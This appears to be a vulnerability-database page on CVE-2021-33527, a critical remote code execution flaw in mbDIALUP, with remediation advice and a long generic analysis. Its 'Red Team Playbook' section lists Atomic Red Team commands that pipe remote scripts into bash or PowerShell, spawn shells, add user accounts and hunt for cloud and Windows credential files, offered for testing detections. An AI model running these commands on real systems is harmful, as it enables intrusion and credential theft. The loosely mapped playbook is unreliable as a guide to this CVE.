CVE-2021-33527
Overview
The vulnerability in MB connect line mbDIALUP arises from improper input validation in the HTTP request handling component of the service running under NT AUTHORITY\SYSTEM privileges. Specifically, the affected versions (up to 3.9R0.0) fail to sanitize or validate crafted HTTP requests, leading to unsafe processing of user-supplied data. This flaw is rooted in the input validation mechanism of the network-facing service component.
Vulnerability Description
In MB connect line mbDIALUP versions <= 3.9R0.0 a remote attacker can send a specifically crafted HTTP request to the service running with NT AUTHORITY\SYSTEM that will not correctly validate the input. This can lead to an arbitrary code execution with the privileges of the service.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code with SYSTEM-level privileges on the affected device, enabling full control over the system. This can lead to unauthorized data access, system manipulation, and potential disruption of industrial communication processes. The attack requires only network access to the HTTP service, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N), meaning no user interaction or credentials are necessary, significantly increasing the attack surface and potential impact.
Solution
Users of MB connect line mbDIALUP should upgrade to versions later than 3.9R0.0 as recommended in the VDE advisory VDE-2021-017 (https://cert.vde.com/de-de/advisories/vde-2021-017). The vendor provides patches addressing the input validation flaw in the HTTP service component. Applying the official update or patch from MB connect line is the primary remediation step to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the MB connect line mbDIALUP service arises from improper input validation within the HTTP request handling mechanism. This flaw allows a remote attacker to craft malicious HTTP requests that the service, which operates with NT AUTHORITY\SYSTEM privileges, will process without appropriate checks. The implications of this vulnerability are severe, as it provides an avenue for arbitrary code execution at the highest privilege level on the affected system. Given that the service runs with system-level permissions, any code executed could lead to full system compromise, allowing attackers to manipulate system settings, access sensitive data, or deploy additional malicious software.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage social engineering tactics to trick a user into visiting a malicious website that sends the crafted HTTP request to the vulnerable service. Alternatively, an attacker with network access could directly send these requests to the service, bypassing any user interaction. This flexibility in attack methods increases the risk profile significantly, as it does not require physical access to the target system or specific user actions, making it a prime target for remote exploitation. Furthermore, the ability to execute arbitrary code with system-level privileges means that attackers can establish persistent access or pivot to other systems within the network.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on the affected service for critical operations. The potential for unauthorized access to sensitive data, disruption of services, and financial loss due to system downtime or data breaches poses a significant business risk. Organizations may face regulatory scrutiny and reputational damage if exploited, especially in sectors where data protection is paramount. The high CVSS score of 9.8 reflects the critical nature of this vulnerability, underscoring the urgency for organizations to address it promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify systems running the affected version of the mbDIALUP service. Network intrusion detection systems (NIDS) should be configured to monitor for unusual HTTP traffic patterns that may indicate exploitation attempts. Additionally, organizations should ensure that they are running the latest version of the software, as updates from the vendor may include patches that rectify the input validation issues. Employing strict access controls and network segmentation can also limit the exposure of the vulnerable service, reducing the attack surface available to potential adversaries.
In conclusion, the vulnerability within the mbDIALUP service represents a critical risk for organizations utilizing this software. The potential for arbitrary code execution with system-level privileges poses a significant threat, necessitating immediate attention. By understanding the technical details, potential attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the exploitation of this vulnerability and safeguard their critical assets.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Mbconnectline | Mbdialup | All |
cpe:2.3:a:mbconnectline:mbdialup:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-33527 |
| cert.vde.com |
GitHub CVE
x_refsource_CONFIRM
|
https://cert.vde.com/de-de/advisories/vde-2021-017 |